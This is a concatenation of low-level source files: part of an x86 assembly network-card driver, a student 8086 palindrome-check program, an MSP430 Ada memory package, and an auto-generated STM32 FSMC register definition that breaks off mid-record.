mov cl,10h
inc bx
loc_2:
IF 1
; big endian
ror bp,1
mov si,dx
xor si,bp
shl ax,1
rcl dx,1
sar si,15
mov di,si
and si,highword POLYNOMIAL_be
and di,lowword POLYNOMIAL_be
ELSE
; litte endian
mov si,ax
ror bp,1
ror si,1
shr dx,1
rcr ax,1
xor si,bp
sar si,15
mov di,si
and si,highword POLYNOMIAL_le
and di,lowword POLYNOMIAL_le
ENDIF
xor dx,si
xor ax,di
dec cl
jnz short loc_2
inc bx
dec ch
jnz short loc_1
push dx
push ax
pop eax
pop di
pop si
pop bp
retn
_CRC32 endp
_hwUpdatePktFlt proc near
push offset semFlt
call _EnterCrit
mov cx,MacStatus.sstRxFilter
; xor eax,eax
xor ax,ax
test cl,mask fltdirect
jz short loc_1
; or eax,rfAPM or rfMHEN ; pmatch and multicasthash
or ax,highword(rfAPM or rfMHEN)
loc_1:
test cl,mask fltbroad
jz short loc_2
; or eax,rfAAB ; broadcast
or ax,highword(rfAAB)
loc_2:
test cl,mask fltprms
jz short loc_3
; mov eax,rfAAB or rfAAM or rfAAU ; promiscous - all
mov ax,highword(rfAAB or rfAAM or rfAAU)
loc_3:
; test eax,eax
test ax,ax
jz short loc_4 ; all reject
; or eax,RFEN ; rx filter enable
or ax,highword(RFEN)
loc_4:
shl eax,16
mov [regReceiveMode],eax
mov gs:[Reg.RFCR],eax
call _LeaveCrit
pop cx
mov ax,SUCCESS
retn
_hwUpdatePktFlt endp
_hwSetMACaddr proc near
push si
push offset semFlt
call _EnterCrit
mov si,offset MacChar.mctcsa
mov ax,[si]
or ax,[si+2]
or ax,[si+4]
jnz short loc_1
mov si,offset MacChar.mctpsa
loc_1:
sub ebx,ebx
xor eax,eax
mov edx,gs:[Reg.RFCR] ; backup
mov bx,4
loc_2:
mov ax,[bx+si]
mov gs:[Reg.RFCR],ebx ; address 0..4
mov gs:[Reg.RFDR],eax
sub bx,2
jge short loc_2
mov gs:[Reg.RFCR],edx ; restore
call _LeaveCrit
pop cx
mov ax,SUCCESS
pop si
retn
_hwSetMACaddr endp
_hwUpdateStat proc near
push offset semStat
call _EnterCrit
mov bx,offset MacStatus
mov eax,gs:[Reg.MIB_RXErroredPkts]
add [bx].mst.rxframehw,eax
mov eax,gs:[Reg.MIB_RXFCSErrors]
add [bx].mst.rxframecrc,eax
mov eax,gs:[Reg.MIB_RXMsdPktErrors]
add [bx].mst.rxframebuf,eax
mov eax,gs:[Reg.MIB_RXFAErrors]
add [bx].mst.rxframecrc,eax
mov eax,gs:[Reg.MIB_RXSymbolErrors]
add [bx].mst.rxframehw,eax
mov eax,gs:[Reg.MIB_RXFrameTooLong]
add [bx].mst.rxframebuf,eax
mov eax,gs:[Reg.MIB_RXIRLErrors]
add [bx].mst.rxframebuf,eax
mov eax,gs:[Reg.MIB_RXBadOpcodes]
add [bx].mst.rxframehw,eax
mov eax,gs:[Reg.MIB_RXPauseFrames]
mov eax,gs:[Reg.MIB_TXPauseFrames]
mov eax,gs:[Reg.MIB_TXSQEErrors]
add [bx].mst.txframehw,eax
call _LeaveCrit
pop ax
retn
_hwUpdateStat endp
_hwClearStat proc near
mov gs:[Reg.MIBC],ACLR
retn
_hwClearStat endp
_SetSpeedStat proc near
mov al,MediaSpeed
mov ah,0
dec ax
jz short loc_10M
dec ax
jz short loc_100M
dec ax
jz short loc_1G
xor eax,eax
jmp short loc_1
loc_10M:
mov eax,10000000
jmp short loc_1
loc_100M:
mov eax,100000000
jmp short loc_1
loc_1G:
mov eax,1000000000
loc_1:
mov [MacChar.linkspeed],eax
retn
_SetSpeedStat endp
_hwClose proc near
push offset semTx
call _EnterCrit
push offset semRx
call _EnterCrit
xor eax,eax
mov gs:[Reg.IER],eax
mov [regIntMask],eax
mov gs:[Reg.IMR],eax
mov gs:[Reg.CR],TXD or RXD
mov gs:[Reg.TXDP],eax
mov gs:[Reg.RXDP],eax
mov eax,gs:[Reg.ISR] ; clear
call _LeaveCrit
pop dx
call _LeaveCrit
pop dx
mov ax,SUCCESS
retn
_hwClose endp
_hwReset proc near ; call in bind process
enter 6,0
mov gs:[Reg.CR],RST ; reset
mov byte ptr [bp-2],64 ; about 2 second.
loc_1:
call _Delay1ms
test gs:[Reg.CR],RST ; reset complete?
jz short loc_2
dec byte ptr [bp-2]
jnz short loc_1
mov ax,HARDWARE_FAILURE
leave
retn
loc_2:
mov eax,gs:[Reg.CFG]
mov cx,ax
and eax,not(MRM_DIS or MWI_DIS or DATA64_EN or M64ADDR)
and cx,PCI64_DET
or ax,PESEL or EXTSTS_EN
shr cx,1 ; DATA64_EN
or ax,cx
mov gs:[Reg.CFG],eax
xor eax,eax
mov gs:[Reg.CCSR],PMESTS ; kill CLKRUN
mov gs:[Reg.WCSR],eax ; kill Wake on Lan
mov gs:[Reg.PQCR],eax ; kill priority queue
mov gs:[Reg.VTCR],eax ; kill tx VLAN/IP
mov gs:[Reg.VRCR],IPEN or RIPE or RTCPE or RUDPE ; rx IP
; mov gs:[Reg.VRCR],IPEN or RIPE or RUDPE ; rx IP
; get Station address for EEPROM
push 10 ; PMATCH[47:32]
call _eepRead
mov [bp-2],ax
push 11 ; PMATCH[31:16]
call _eepRead
mov [bp-4],ax
push 12 ; PMATCH[15:0]
call _eepRead
mov [bp-6],ax
push offset semFlt
call _EnterCrit
mov ax,[bp-6]
mov cx,[bp-4]
mov dx,[bp-2]
mov word ptr MacChar.mctpsa,ax ; parmanent
mov word ptr MacChar.mctpsa[2],cx
mov word ptr MacChar.mctpsa[4],dx
mov word ptr MacChar.mctcsa,ax ; current
mov word ptr MacChar.mctcsa[2],cx
mov word ptr MacChar.mctcsa[4],dx
mov word ptr MacChar.mctVendorCode,ax ; vendor
mov byte ptr MacChar.mctVendorCode,cl
call _LeaveCrit
add sp,4*2
call _hwSetMACaddr ; update PMATCH in Receive Filter
mov ax,SUCCESS
leave
retn
_hwReset endp
; USHORT miiRead( UCHAR phyaddr, UCHAR phyreg)
_miiRead proc near
push bp
mov bp,sp
push offset semMii
call _EnterCrit
mov bx,offset [Reg.MEAR]
; push 8
push 1
xor eax,eax
mov al,MDIO or MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax ; idle
call __IODelayCnt
mov dl,[bp+4] ; physaddr (5bit)
mov cl,[bp+6] ; phyreg (5bit)
shl dx,5
and cl,1fh
; and dx,3E0h
and dh,3
or dl,cl
; or dx,0110b shl 10 ; start(01) + opcode(10)
or dh,0110b shl 2
mov cx,13
loc_1:
mov al,0
bt dx,cx
rcl al,5 ; MDIO
or al,MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
dec cx
jge short loc_1
mov al,0
mov gs:[bx],eax ; TA (z0)
call __IODelayCnt
mov al,MDC
mov gs:[bx],eax
call __IODelayCnt
mov cx,16
loc_2:
mov al,0
mov gs:[bx],eax
call __IODelayCnt
mov al,MDC
mov gs:[bx],eax
call __IODelayCnt
mov edx,gs:[bx]
bt dx,4 ; MgmtData
rcl bp,1
dec cx
jnz short loc_2
mov al,0
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax ; idle
call __IODelayCnt
mov ax,bp
pop bx ; stack adjust
call _LeaveCrit
pop cx ; stack adjust
pop bp
retn
_miiRead endp
; VOID miiWrite( UCHAR phyaddr, UCHAR phyreg, USHORT value)
_miiWrite proc near
push bp
mov bp,sp
push offset semMii
call _EnterCrit
mov bx,offset [Reg.MEAR]
; push 8
push 1
xor eax,eax
mov al,MDIO or MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax ; idle
call __IODelayCnt
mov dl,[bp+4] ; physaddr (5bit)
mov cl,[bp+6] ; phyreg (5bit)
shl dx,5
and cl,1fh
and dx,3E0h
or dl,cl
or dx,0101b shl 10 ; start(01) + opcode(01)
mov cx,14-1
loc_1:
mov al,0
bt dx,cx
rcl al,5 ; MDIO
or al,MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
dec cx
jge short loc_1
mov al,MDIO or MDDIR ; TA (10)
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
mov al,MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
mov dx,[bp+8]
mov cx,15
loc_2:
bt dx,cx
mov al,0
rcl al,5
or al,MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
dec cx
jge short loc_2
mov al,MDIO or MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax ; idle
call __IODelayCnt
pop bx ; stack adjust
call _LeaveCrit
leave
retn
_miiWrite endp
; VOID miiReset( VOID )
_miiReset proc near
push offset semMii
call _EnterCrit
mov bx,offset [Reg.MEAR]
xor eax,eax
mov cx,32 ; 32clock high
; push 8
push 1
loc_1:
mov al,MDIO or MDDIR
mov gs:[bx],eax
call __IODelayCnt
or al,MDC
mov gs:[bx],eax
call __IODelayCnt
dec cx
jnz short loc_1
; mov al,0
; mov gs:[bx],eax
pop bx ; stack adjust
call _LeaveCrit
pop ax
retn
_miiReset endp
IF 0
; VOID _DelayShort( UCHAR count)
__DelayShort proc near
push bp
mov bp,sp
push eax
mov bp,[bp+4]
loc_1:
dec bp
mov eax,gs:[Reg.SRR]
jnz short loc_1
pop eax
pop bp
retn
__DelayShort endp
ENDIF
; USHORT eepRead( UCHAR addr )
; read opcode 01b
; address mask 3fh(6bit)
_eepRead proc near
push bp
mov bp,sp
mov bx,offset Reg.MEAR
xor eax,eax
mov gs:[bx],eax ; chip select - low
; push 1
push 4
call __IODelayCnt
mov al,EECLK
mov gs:[bx],al
call __IODelayCnt
mov dl,[bp+4]
mov dh,0
and dl,3fh
mov cx,(1 + 2 + 6) -1
or dx,110b shl 6
loc_1:
bt dx,cx
setc al
or al,EESEL
mov gs:[bx],eax
call __IODelayCnt
or al,EECLK
mov gs:[bx],eax
call __IODelayCnt
dec cx
jge short loc_1
mov cx,16
xor dx,dx
loc_2:
mov al,EESEL
mov gs:[bx],eax
call __IODelayCnt
mov al,EESEL or EECLK
mov gs:[bx],eax
call __IODelayCnt
bt dword ptr gs:[bx],1 ; EEDO
rcl dx,1
dec cx
jnz short loc_2
mov al,0
mov gs:[bx],eax
call __IODelayCnt
mov al,EECLK
call __IODelayCnt
pop cx
mov ax,dx
pop bp
retn
_eepRead endp
; void _IODelayCnt( USHORT count )
__IODelayCnt proc near
push bp
mov bp,sp
push cx
mov bp,[bp+4]
loc_1:
mov cx,offset DosIODelayCnt
dec bp
loop $
jnz short loc_1
pop cx
pop bp
retn
__IODelayCnt endp
_TEXT ends
end
|
Codes/Lab_9/palindrome.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 0 | 88492 | <reponame>WardunIslam/CSE331L_Section_7_Summer_2020_NSU
DATA SEGMENT
str1 db 'Class','$'
strlen1 dw $-str1
strrev db 20 dup('')
str_palin db 'String is Palindrome.','$'
str_not_palin db 'String is not Palindrome.','$'
DATA ends
CODE SEGMENT
Assume cs:code, ds:data
BEGIN:
mov ax, data
mov ds, ax
mov es, ax
mov cx, strlen1
add cx, -2
lea si, str1
lea di, strrev
add si, strlen1
add si, -2
L1:
mov al, [si]
mov [di], al
dec si
inc di
LOOP L1
mov al, [si]
mov [di], al
inc dl
mov dl, '$'
mov [di], dl
mov cx, strlen1
Palin_Check:
lea si, str1
lea di, strrev
repe cmpsb
jne Not_Palin
Palin:
mov ah, 09h
lea dx, str_palin
int 21h
jmp exit
Not_Palin:
mov ah, 09h
lea dx, str_not_palin
int 21h
exit:
mov ax, 4c00h |
apps/bootloader/memory.ads | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 29982 | <reponame>ekoeppen/MSP430_Generic_Ada_Drivers
with System; use System;
with Interfaces; use Interfaces;
package Memory is
Flash_Start : Unsigned_16
with Import, Convention => Asm, External_Name => "__flash_start";
Flash_Size : Unsigned_16
with Import, Convention => Asm, External_Name => "__flash_size";
Info_Start : Unsigned_16
with Import, Convention => Asm, External_Name => "__info_start";
Info_Size : Unsigned_16
with Import, Convention => Asm, External_Name => "__info_size";
Flash_Segment_Size : constant Unsigned_16 := 512;
Info_Segment_Size : constant Unsigned_16 := 64;
type Flash_Memory_Range is new Unsigned_16 range Flash_Start .. Flash_Start + Flash_Size - 2;
type Info_Memory_Range is new Unsigned_16 range Info_Start .. Info_Start + Info_Size - 2;
type Flash_Segment_Range is new Unsigned_16 range 1 .. Flash_Size / Flash_Segment_Size;
Flash_Memory : array (Flash_Memory_Range) of Unsigned_8
with Address => System'To_Address (Flash_Start);
Info_Memory : array (Info_Memory_Range) of Unsigned_8
with Address => System'To_Address (Info_Start);
function "+" (Addr : Flash_Memory_Range; Offset : Unsigned_16) return Flash_Memory_Range;
end Memory;
|
software/hal/hpl/STM32/svd/stm32f427x/stm32_svd-fsmc.ads | TUM-EI-RCS/StratoX | 12 | 24524 | -- This spec has been automatically generated from STM32F427x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
with System;
with HAL;
package STM32_SVD.FSMC is
pragma Preelaborate;
---------------
-- Registers --
---------------
-------------------
-- BCR1_Register --
-------------------
subtype BCR1_MTYP_Field is HAL.UInt2;
subtype BCR1_MWID_Field is HAL.UInt2;
-- SRAM/NOR-Flash chip-select control register 1
type BCR1_Register is record
-- MBKEN
MBKEN : Boolean := False;
-- MUXEN
MUXEN : Boolean := False;
-- MTYP
MTYP : BCR1_MTYP_Field := 16#0#;
-- MWID
MWID : BCR1_MWID_Field := 16#1#;
-- FACCEN
FACCEN : Boolean := True;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#1#;
-- BURSTEN
BURSTEN : Boolean := False;
-- WAITPOL
WAITPOL : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- WAITCFG
WAITCFG : Boolean := False;
-- WREN
WREN : Boolean := True;
-- WAITEN
WAITEN : Boolean := True;
-- EXTMOD
EXTMOD : Boolean := False;
-- ASYNCWAIT
ASYNCWAIT : Boolean := False;
-- unspecified
Reserved_16_18 : HAL.UInt3 := 16#0#;
-- CBURSTRW
CBURSTRW : Boolean := False;
-- CCLKEN
CCLKEN : Boolean := False;
-- unspecified
Reserved_21_31 : HAL.UInt11 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for BCR1_Register use record
MBKEN at 0 range 0 .. 0;
MUXEN at 0 range 1 .. 1;
MTYP at 0 range 2 .. 3;
MWID at 0 range 4 .. 5;
FACCEN at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
BURSTEN at 0 range 8 .. 8;
WAITPOL at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
WAITCFG at 0 range 11 .. 11;
WREN at 0 range 12 .. 12;
WAITEN at 0 range 13 .. 13;
EXTMOD at 0 range 14 .. 14;
ASYNCWAIT at 0 range 15 .. 15;
Reserved_16_18 at 0 range 16 .. 18;
CBURSTRW at 0 range 19 .. 19;
CCLKEN at 0 range 20 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
------------------
-- BTR_Register --
------------------
subtype BTR1_ADDSET_Field is HAL.UInt4;
subtype BTR1_ADDHLD_Field is HAL.UInt4;
subtype BTR1_DATAST_Field is HAL.Byte;
subtype BTR1_BUSTURN_Field is HAL.UInt4;
subtype BTR1_CLKDIV_Field is HAL.UInt4;
subtype BTR1_DATLAT_Field is HAL.UInt4;
subtype BTR1_ACCMOD_Field is HAL.UInt2;
-- SRAM/NOR-Flash chip-select timing register 1
type BTR_Register is record
-- ADDSET
ADDSET : BTR1_ADDSET_Field := 16#F#;
-- ADDHLD
ADDHLD : BTR1_ADDHLD_Field := 16#F#;
-- DATAST
DATAST : BTR1_DATAST_Field := 16#FF#;
-- BUSTURN
BUSTURN : BTR1_BUSTURN_Field := 16#F#;
-- CLKDIV
CLKDIV : BTR1_CLKDIV_Field := 16#F#;
-- DATLAT
DATLAT : BTR1_DATLAT_Field := 16#F#;
-- ACCMOD
ACCMOD : BTR1_ACCMOD_Field := 16#3#;
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#3#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for BTR_Register use record
ADDSET at 0 range 0 .. 3;
ADDHLD at 0 range 4 .. 7;
DATAST at 0 range 8 .. 15;
BUSTURN at 0 range 16 .. 19;
CLKDIV at 0 range 20 .. 23;
DATLAT at 0 range 24 .. 27;
ACCMOD at 0 range 28 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
------------------
-- BCR_Register --
------------------
subtype BCR2_MTYP_Field is HAL.UInt2;
subtype BCR2_MWID_Field is HAL.UInt2;
-- SRAM/NOR-Flash chip-select control register 2
type BCR_Register is record
-- MBKEN
MBKEN : Boolean := False;
-- MUXEN
MUXEN : Boolean := False;
-- MTYP
MTYP : BCR2_MTYP_Field := 16#0#;
-- MWID
MWID : BCR2_MWID_Field := 16#1#;
-- FACCEN
FACCEN : Boolean := True;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#1#;
-- BURSTEN
BURSTEN : Boolean := False;
-- WAITPOL
WAITPOL : Boolean := False;
-- WRAPMOD
WRAPMOD : Boolean := False;
-- WAITCFG
WAITCFG : Boolean := False;
-- WREN
WREN : Boolean := True;
-- WAITEN
WAITEN : Boolean := True;
-- EXTMOD
EXTMOD : Boolean := False;
-- ASYNCWAIT
ASYNCWAIT : Boolean := False;
-- unspecified
Reserved_16_18 : HAL.UInt3 := 16#0#;
-- CBURSTRW
CBURSTRW : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for BCR_Register use record
MBKEN at 0 range 0 .. 0;
MUXEN at 0 range 1 .. 1;
MTYP at 0 range 2 .. 3;
MWID at 0 range 4 .. 5;
FACCEN at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
BURSTEN at 0 range 8 .. 8;
WAITPOL at 0 range 9 .. 9;
WRAPMOD at 0 range 10 .. 10;
WAITCFG at 0 range 11 .. 11;
WREN at 0 range 12 .. 12;
WAITEN at 0 range 13 .. 13;
EXTMOD at 0 range 14 .. 14;
ASYNCWAIT at 0 range 15 .. 15;
Reserved_16_18 at 0 range 16 .. 18;
CBURSTRW at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
------------------
-- PCR_Register --
------------------
subtype PCR2_PWID_Field is HAL.UInt2;
subtype PCR2_TCLR_Field is HAL.UInt4;
subtype PCR2_TAR_Field is HAL.UInt4;
subtype PCR2_ECCPS_Field is HAL.UInt3;
-- PC Card/NAND Flash control register 2
type PCR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- PWAITEN
PWAITEN : Boolean := False;
-- PBKEN
PBKEN : Boolean := False;
-- PTYP
PTYP : Boolean := True;
-- PWID
PWID : PCR2_PWID_Field := 16#1#;
-- ECCEN
ECCEN : Boolean := False;
-- unspecified
Reserved_7_8 : HAL.UInt2 := 16#0#;
-- TCLR
TCLR : PCR2_TCLR_Field := 16#0#;
-- TAR
TAR : PCR2_TAR_Field := 16#0#;
-- ECCPS
ECCPS : PCR2_ECCPS_Field := 16#0#;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PCR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
PWAITEN at 0 range 1 .. 1;
PBKEN at 0 range 2 .. 2;
PTYP at 0 range 3 .. 3;
PWID at 0 range 4 .. 5;
ECCEN at 0 range 6 .. 6;
Reserved_7_8 at 0 range 7 .. 8;
TCLR at 0 range 9 .. 12;
TAR at 0 range 13 .. 16;
ECCPS at 0 range 17 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-----------------
-- SR_Register --
-----------------
-- FIFO status and interrupt register 2
type SR_Register is record
-- IRS
IRS : Boolean := False;
-- ILS
ILS : Boolean := False;
-- IFS
IFS : Boolean := False;
-- IREN
IREN : Boolean := False;
-- ILEN
ILEN : Boolean := False;
-- IFEN
IFEN : Boolean := False;
-- Read-only. FEMPT
FEMPT : Boolean := True;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SR_Register use record
IRS at 0 range 0 .. 0;
ILS at 0 range 1 .. 1;
IFS at 0 range 2 .. 2;
IREN at 0 range 3 .. 3;
ILEN at 0 range 4 .. 4;
IFEN at 0 range 5 .. 5;
FEMPT at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-------------------
-- PMEM_Register --
-------------------
subtype PMEM2_MEMSETx_Field is HAL.Byte;
subtype PMEM2_MEMWAITx_Field is HAL.Byte;
subtype PMEM2_MEMHOLDx_Field is HAL.Byte;
subtype PMEM2_MEMHIZx_Field is HAL.Byte;
-- Common memory space timing register 2
type PMEM_Register is record
-- MEMSETx
MEMSETx : PMEM2_MEMSETx_Field := 16#FC#;
-- MEMWAITx
MEMWAITx : PMEM2_MEMWAITx_Field := 16#FC#;
-- MEMHOLDx
MEMHOLDx : PMEM2_MEMHOLDx_Field := 16#FC#;
-- MEMHIZx
MEMHIZx : PMEM2_MEMHIZx_Field := 16#FC#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PMEM_Register use record
MEMSETx at 0 range 0 .. 7;
MEMWAITx at 0 range 8 .. 15;
MEMHOLDx at 0 range 16 .. 23;
MEMHIZx at 0 range 24 .. 31;
end record;
-------------------
-- PATT_Register --
-------------------
subtype PATT2_ATTSETx_Field is HAL.Byte;
subtype PATT2_ATTWAITx_Field is HAL.Byte;
subtype PATT2_ATTHOLDx_Field is HAL.Byte;
subtype PATT2_ATTHIZx_Field is HAL.Byte;
-- Attribute memory space timing register 2
type PATT_Register is record
-- ATTSETx
ATTSETx : PATT2_ATTSETx_Field := 16#FC#;
-- ATTWAITx
ATTWAITx : PATT2_ATTWAITx_Field := 16#FC#;
-- ATTHOLDx
ATTHOLDx : PATT2_ATTHOLDx_Field := 16#FC#;
-- ATTHIZx
ATTHIZx : PATT2_ATTHIZx_Field := 16#FC#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PATT_Register use record
ATTSETx at 0 range 0 .. 7;
ATTWAITx at 0 range 8 .. 15;
ATTHOLDx at 0 range 16 .. 23;
ATTHIZx at 0 range 24 .. 31;
end record;
-------------------
-- PIO4_Register --
-------------------
subtype PIO4_IOSETx_Field is HAL.Byte;
subtype PIO4_IOWAITx_Field is HAL.Byte;
subtype PIO4_IOHOLDx_Field is HAL.Byte;
subtype PIO4_IOHIZx_Field is HAL.Byte;
-- I/O space timing register 4
type PIO4_Register is record
-- IOSETx
IOSETx : PIO4_IOSETx_Field := 16#FC#;
-- IOWAITx
IOWAITx : PIO4_IOWAITx_Field := 16#FC#;
-- IOHOLDx
IOHOLDx : PIO4_IOHOLDx_Field := 16#FC#;
-- IOHIZx
IOHIZx : PIO4_IOHIZx_Field := 16#FC#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PIO4_Register use record
IOSETx at 0 range 0 .. 7;
IOWAITx at 0 range 8 .. 15;
IOHOLDx at 0 range 16 .. 23;
IOHIZx at 0 range 24 .. 31;
end record;
-------------------
-- BWTR_Register --
-------------------
subtype BWTR1_ADDSET_Field is HAL.UInt4;
subtype BWTR1_ADDHLD_Field is HAL.UInt4;
subtype BWTR1_DATAST_Field is HAL.Byte;
subtype BWTR1_CLKDIV_Field is HAL.UInt4;
subtype BWTR1_DATLAT_Field is HAL.UInt4;
subtype BWTR1_ACCMOD_Field is HAL.UInt2;
-- SRAM/NOR-Flash write timing registers 1
type BWTR_Register is record
-- ADDSET
ADDSET : BWTR1_ADDSET_Field := 16#F#;
-- ADDHLD
ADDHLD : BWTR1_ADDHLD_Field := 16#F#;
-- DATAST
DATAST : BWTR1_DATAST_Field := 16#FF#;
-- unspecified
Reserved_16_19 : HAL.UInt4 := 16#F#;
-- CLKDIV
CLKDIV : BWTR1_CLKDIV_Field := 16#F#;
-- DATLAT
DATLAT : BWTR1_DATLAT_Field := 16#F#;
-- ACCMOD
ACCMOD : BWTR1_ACCMOD_Field := 16#0#;
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for BWTR_Register use record
ADDSET at 0 range 0 .. 3;
ADDHLD at 0 range 4 .. 7;
DATAST at 0 range 8 .. 15;
Reserved_16_19 at 0 range 16 .. 19;
CLKDIV at 0 range 20 .. 23;
DATLAT at 0 range 24 .. 27;
ACCMOD at 0 range 28 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-------------------
-- SDCR_Register --
-------------------
subtype SDCR1_NC_Field is HAL.UInt2;
subtype SDCR1_NR_Field is HAL.UInt2;
subtype SDCR1_MWID_Field is HAL.UInt2;
subtype SDCR1_CAS_Field is HAL.UInt2;
subtype SDCR1_SDCLK_Field is HAL.UInt2;
subtype SDCR1_RPIPE_Field is HAL.UInt2;
-- SDRAM Control Register 1
type SDCR_Register is record
-- Number of column address bits
NC : SDCR1_NC_Field := 16#0#;
-- Number of row address bits
NR : SDCR1_NR_Field := 16#0#;
-- Memory data bus width
MWID : SDCR1_MWID_Field := 16#1#;
-- Number of internal banks
NB : Boolean := True;
-- CAS latency
CAS : SDCR1_CAS_Field := 16#1#;
-- Write protection
WP : Boolean := True;
-- SDRAM clock configuration
SDCLK : SDCR1_SDCLK_Field := 16#0#;
-- Burst read
RBURST : Boolean := False;
-- Read pipe
RPIPE : SDCR1_RPIPE_Field := 16#0#;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SDCR_Register use record
NC at 0 range 0 .. 1;
NR at 0 range 2 .. 3;
MWID at 0 range 4 .. 5;
NB at 0 range 6 .. 6;
CAS at 0 range 7 .. 8;
WP at 0 range 9 .. 9;
SDCLK at 0 range 10 .. 11;
RBURST at 0 range 12 .. 12;
RPIPE at 0 range 13 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-------------------
-- SDTR_Register --
-------------------
subtype SDTR1_TMRD_Field is HAL.UInt4;
subtype SDTR1_TXSR_Field is HAL.UInt4;
subtype SDTR1_TRAS_Field is HAL.UInt4;
subtype SDTR1_TRC_Field is HAL.UInt4;
subtype SDTR1_TWR_Field is HAL.UInt4;
subtype SDTR1_TRP_Field is HAL.UInt4;
subtype SDTR1_TRCD_Field is HAL.UInt4;
-- SDRAM Timing register 1
type SDTR_Register is record
-- Load Mode Register to Active
TMRD : SDTR1_TMRD_Field := 16#F#;
-- Exit self-refresh delay
TXSR : SDTR1_TXSR_Field := 16#F#;
-- Self refresh time
TRAS : SDTR1_TRAS_Field := 16#F#;
-- Row cycle delay
TRC : SDTR1_TRC_Field := 16#F#;
-- Recovery delay
TWR : SDTR1_TWR_Field := 16#F#;
-- Row precharge delay
TRP : SDTR1_TRP_Field := 16#F#;
-- Row to column delay
TRCD : SDTR1_TRCD_Field := 16#F#;
-- unspecified
Reserved_28_31 : HAL.UInt4 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SDTR_Register use record
TMRD at 0 range 0 .. 3;
TXSR at 0 range 4 .. 7;
TRAS at 0 range 8 .. 11;
TRC at 0 range 12 .. 15;
TWR at 0 range 16 .. 19;
TRP at 0 range 20 .. 23;
TRCD at 0 range 24 .. 27;
Reserved_28_31 at 0 range 28 .. 31;
end record;
--------------------
-- SDCMR_Register --
--------------------
subtype SDCMR_MODE_Field is HAL.UInt3;
---------------
-- SDCMR.CTB --
---------------
-- SDCMR_CTB array
type SDCMR_CTB_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for SDCMR_CTB
type SDCMR_CTB_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CTB as a value
Val : HAL.UInt2;
when True =>
-- CTB as an array
Arr : SDCMR_CTB_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for SDCMR_CTB_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
subtype SDCMR_NRFS_Field is HAL.UInt4;
subtype SDCMR_MRD_Field is HAL.UInt13;
-- SDRAM Command Mode register
type SDCMR_Register is record
-- Write-only. Command mode
MODE : SDCMR_MODE_Field := 16#0#;
-- Write-only. Command target bank 2
CTB : SDCMR_CTB_Field := (As_Array => False, Val => 16#0#);
-- Number of Auto-refresh
NRFS : SDCMR_NRFS_Field := 16#0#;
-- Mode Register definition
MRD : SDCMR_MRD_Field := 16#0#;
-- unspecified
Reserved_22_31 : HAL.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SDCMR_Register use record
MODE at 0 range 0 .. 2;
CTB at 0 range 3 .. 4;
NRFS at 0 range 5 .. 8;
MRD at 0 range 9 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
--------------------
-- SDRTR_Register --
--------------------
subtype SDRTR_COUNT_Field is HAL.UInt13;
-- SDRAM Refresh Timer register
type SDRTR_Register is record
-- Write-only. Clear Refresh error flag
CRE : Boolean := False;
-- Refresh Timer Count
